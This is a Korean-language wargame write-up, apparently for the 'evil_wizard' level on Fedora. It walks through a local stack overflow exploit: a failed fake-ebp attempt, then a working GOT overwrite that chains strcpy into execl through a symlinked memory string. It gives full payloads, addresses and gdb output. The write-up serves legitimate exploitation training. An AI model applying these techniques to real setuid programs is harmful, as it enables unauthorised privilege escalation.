GOT overwrite / local


stdin buffer를 사용할 수 없어 문자열을 삽입할 수는 없지만

local이니까 symlink로 메모리에 있는 값을 parameter로 사용할 수 있을 것 같다.

파라미터를 삽입할 수 없어 메모리에 있는 값을 활용해야 한다는 점만 제외하면 이전 문제와 비슷하게 해결할 수 있을 듯.

그런데, 그냥 삽입하면 연쇄적 ret으로 내려간다 해도 execl Addr을 넣을 때 \x00이 들어가 그 아래가 모두 \x00으로 초기화되기 때문에 메모리에 있던 파라미터도 \x00으로 초기화된다.

시도해볼 수 있는 방법은 fake ebp, GOT overwrite 정도인 듯.


fake ebp

fake ebp도 가능할 것 같아서 일단 fake ebp를 시도했다.

``c execl()``을 사용하려면 두 번째 인자에 넘길 `` 0x00000000``이 필요하기 때문에 그것부터 찾았다.


procfs_search : 

```

0x0804855c : 0c 9e 04 08 [ 00 00 00 00 ] ff 25 10 9e

```


test_wizard gdb : 

```

(gdb) x/x 0x804855c

0x804855c <_init+32>:   0x08049e0c  

```


여기에 대응되는 evil_wizard gdb :

```

0x80483ec <_init+32>:   0x08049874 

(gdb) x/s 0x8049874

0x8049874 <_GLOBAL_OFFSET_TABLE_+8>:     "▒▒p"

(gdb) x/x 0x8049874

0x8049874 <_GLOBAL_OFFSET_TABLE_+8>:    0x0070e9e0

```

사용할 수 있을 것 같다.  

위 문자열로 symlink 만들고, `` leave``로 리턴.

정상적으로 호출했을 경우 stack layout은 다음과 같은 형태이므로 4byte ret dummy를 확보해 주어야 하며

``c execl()+3``으로 리턴할 것이기 때문에 4byte sfp dummy도 확보해 주어야 한다.

sfp

ret

param

...


```bash

0x08048693 <main+319> :    leave

ebp는 0x080483ec - 8로.


[hell_fire@Fedora_1stFloor ~]$ ./evil_wizard `python -c 'print "b"*268+ \

"\x93\x86\x04\x08"+ "b"*88+ \

"\xe4\x83\x04\x08"+"\x23\x57\x7a"'`

```

안된다... 


디버깅해보면

```

0x007a5723 in execl () from /lib/tls/libc.so.6

(gdb) x/4x $ebp

0x80483e4 <_init+24>:   0x987035ff      0x25ff0804      0x08049874      0x00000000

(gdb) x/s 0x08049874

0x8049874 <_GLOBAL_OFFSET_TABLE_+8>:     "▒▒p"

```

같은 파라미터를 사용한 test file은 아래와 같은 상태에서 제대로 실행된다.

```

Breakpoint 3, 0x007a5723 in execl () from /lib/tls/libc.so.6

(gdb) x/4x $ebp

0xfefd0a98:     0xfefd0ad8      0x0804839e      0xfefd0ac0      0x00000000

(gdb) x/s 0xfefd0ac0

0xfefd0ac0:      "▒▒p"

```

파라미터는 제대로 들어갔는데 왜 안될까 생각해보니 W권한이 없는 영역이라서 그렇다

따라서 쓰기 권한이 있는 `` 08049000-0804a000``으로 돌려야 한다.

그러나 procfs_search로 조회해본 결과 애석하게도 이 영역에는 파라미터로 쓸만한 값이 있는 곳이 없었다.


```

f6fff000-f7000000 rw-p f6fff000 00:00 0 

```

여기도 조사해봐야 하지만 갑자기 귀찮아져서 그냥 GOT overwrite로 풀기로 했다.


GOT overwrite

strcpy plt를 호출해서 memcpy got의 memcpy Addr을 execl Addr로 변경한 다음 memcpy plt 호출. strcpy를 호출하기 위해 execl의 주소를 가지고 있는 origin string pointer가 필요하다. 이전 문제에서는 이를 stdin으로 넘겼지만, 여기서는 불가능하다.

```

0x00720d68 : b4 0f 00 00 [ 20 57 7a 00 ] 05 01 00 00

```

한 곳 밖에 조회되지 않는다.

문제는 이 주소도 시작 1byte에 00이 들어가기 때문에, origin string pointer 이후는 모두 00으로 초기화된다는 점이다.


어차피 그러나 저러나 파라미터는 넘길 수 없는데, strcpy의 파라미터를 넘겨야 하는 위치와 execl의 파라미터를 넘겨야 하는 위치가 겹치기 때문.

그러나 다음과 같이 생각해보면 strcpy의 origin string pointer 인자를 execl의 첫번째 인자로 사용할 수 있다. 그 아래는 00으로 초기화되므로 두 번째 인자의 조건도 만족하니 사용할 수 있을 것 같다.

buffer

256 Byte 

8 Byte

sfp

ret ( strcpy )

ret ( execl )

dest

src  && execl의 param1

execl의 param2


```

(gdb) x/s 0x00720d6c

0x720d6c <_r_debug+30860>:       " Wz"


(gdb) x/4x 0x00720d6c

0x720d6c <_r_debug+30860>:      0x007a5720 

```

`` \x20``이 있으므로 symlink만들 때나 파라미터로 넘길 때 `` ""``로 묶어주어야 한다.


```

0x08048494    // call strcpy

0x08048434    // overwrited_func ( call memcpy )

0x007854c0    // overwrited_got ( memcpy's )

```


```bash

[hell_fire@Fedora_1stFloor ~]$ ./evil_wizard "`python -c 'print "b"*268+ \

"\x94\x84\x04\x08"+ \

"\x34\x84\x04\x08"+ \

"\x88\x98\x04\x08"+ \

"\x6c\x0d\x72\x00"'`"

bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbrbbbbbbbbbbbbbbbbbbbbbbb▒+▒▒▒4▒l

euid = 504

get down like that

```

좋아~~~


``c strcpy()`` ``c execl()``의 파라미터 위치가 겹치는 문제는 pop_pop_ret gadget으로도 해결할 수 있다. 이는 다음 문제에 적어놓았다.

* 프로그램 내부에서 ``c setreuid()``를 호출하기 때문에 /bin/sh를 실행해도 된다. 이를 이용하면 ROP로 메모리에 산재해 있는 데이터 조각을 모아 string을 구성할 때 쉘코드의 길이를 줄일 수 있다. /bin/my-pass로 구성하는 것 보단 /bin/sh가 짧으니까.